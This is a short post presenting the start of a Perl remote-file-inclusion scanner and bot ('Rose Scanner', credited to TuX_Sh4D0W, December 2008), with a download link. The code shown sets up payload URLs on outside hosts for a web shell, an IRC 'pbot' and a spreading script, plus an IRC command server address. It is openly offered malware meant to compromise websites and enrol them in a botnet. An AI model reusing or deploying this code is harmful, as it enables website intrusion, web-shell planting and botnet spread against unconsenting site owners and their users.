Rose Scanner

***************************
AUTOR: Tukulesto
DATE :December 2008
LINGUAGE: perl (.pl)
***************************

#!/usr/bin/perl

########################################
## Multi RFI - SCAN Commands ##
## By TuX_Sh4D0W ##
## Released : 11 December 2008 ##
## ---------------------------------- ##
##.---..-..-..-.,-..-..-..-. .---.. ##
##`| |'| || || . < | || || |__ | |- \## ## `-' `----'`-'`-'`----'`----'`---'`-## ##------------------------------------## ######################################## use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; ################### ## CONFIGURATION ## ################### my $id = "http://www.bwdi.or.kr/bbs/idrose.txt??"; my $shell = "http://styrovit.ru/includes/sh.txt??"; my $pbot = "http://styrovit.ru/includes/pbotz.txt??"; my $spread = "http://www.bwdi.or.kr/bbs/spread-rose.txt??"; #my $id = "http://www.bwdi.or.kr/bbs/idrose.txt??"; #my $shell = "http://styrovit.ru/includes/sh.txt??"; @ircservers = ( "209.41.180.98", #"localhost", #"209.41.180.98", #"209.41.180.98", #"209.41.180.98", #"209.41.180.98" );

Download di Sini